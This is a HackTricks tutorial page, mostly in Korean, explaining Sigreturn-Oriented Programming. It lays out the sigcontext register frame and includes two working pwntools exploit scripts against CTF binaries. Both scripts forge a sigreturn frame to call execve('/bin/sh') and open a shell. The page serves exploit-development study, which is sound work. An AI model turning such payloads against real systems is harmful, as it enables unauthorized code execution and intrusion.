SROP - Sigreturn-Oriented Programming

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Basic Information

**Sigreturn**는 주로 신호 처리기가 실행을 완료한 후 정리하는 데 사용되는 특별한 syscall입니다. 신호는 운영 체제가 프로그램에 보내는 중단으로, 종종 예외적인 상황이 발생했음을 나타냅니다. 프로그램이 신호를 받으면, 신호 처리기라는 신호를 처리하기 위해 설계된 특별한 함수로 신호를 처리하기 위해 현재 작업을 일시 중지합니다.

신호 처리기가 끝난 후, 프로그램은 아무 일도 없었던 것처럼 이전 상태로 복귀해야 합니다. 여기서 **sigreturn**이 작용합니다. 이는 프로그램이 신호 처리기에서 반환하고 신호 처리기에 의해 사용된 스택 프레임(함수 호출 및 지역 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.

흥미로운 점은 **sigreturn**이 프로그램의 상태를 복원하는 방법입니다: 이는 모든 CPU의 레지스터 값을 스택에 저장함으로써 이루어집니다. 신호가 더 이상 차단되지 않으면, sigreturn은 이 값을 스택에서 팝하여 CPU의 레지스터를 신호가 처리되기 전의 상태로 효과적으로 재설정합니다. 여기에는 현재 스택의 맨 위를 가리키는 스택 포인터 레지스터(RSP)가 포함됩니다.

ROP 체인에서 sigreturn syscall을 호출하고 로드하고 싶은 레지스터 값을 추가하면, 모든 레지스터 값을 제어할 수 있으며 따라서 예를 들어 /bin/shexecve syscall을 호출할 수 있습니다.

이것이 다른 Ret2syscall을 호출하기 위한 매개변수를 제어하는 데 훨씬 더 쉽게 만드는 Ret2syscall의 일종이라는 점에 유의하십시오:

Ret2syscall

궁금하다면, 이는 나중에 값을 복구하기 위해 스택에 저장된 sigcontext 구조체입니다 (다이어그램은 여기에서 확인할 수 있습니다):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

더 나은 설명을 위해 다음도 확인하세요:

예시

여기에서 ROP를 통해 signeturn 호출이 구성된 예제를 찾을 수 있습니다 (rxa에 값 0xf를 넣음), 비록 이것이 최종 익스플로잇입니다:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

Check also the exploit from here where the binary was already calling sigreturn and therefore it's not needed to build that with a ROP:

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

다른 예제 및 참고자료

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

Last updated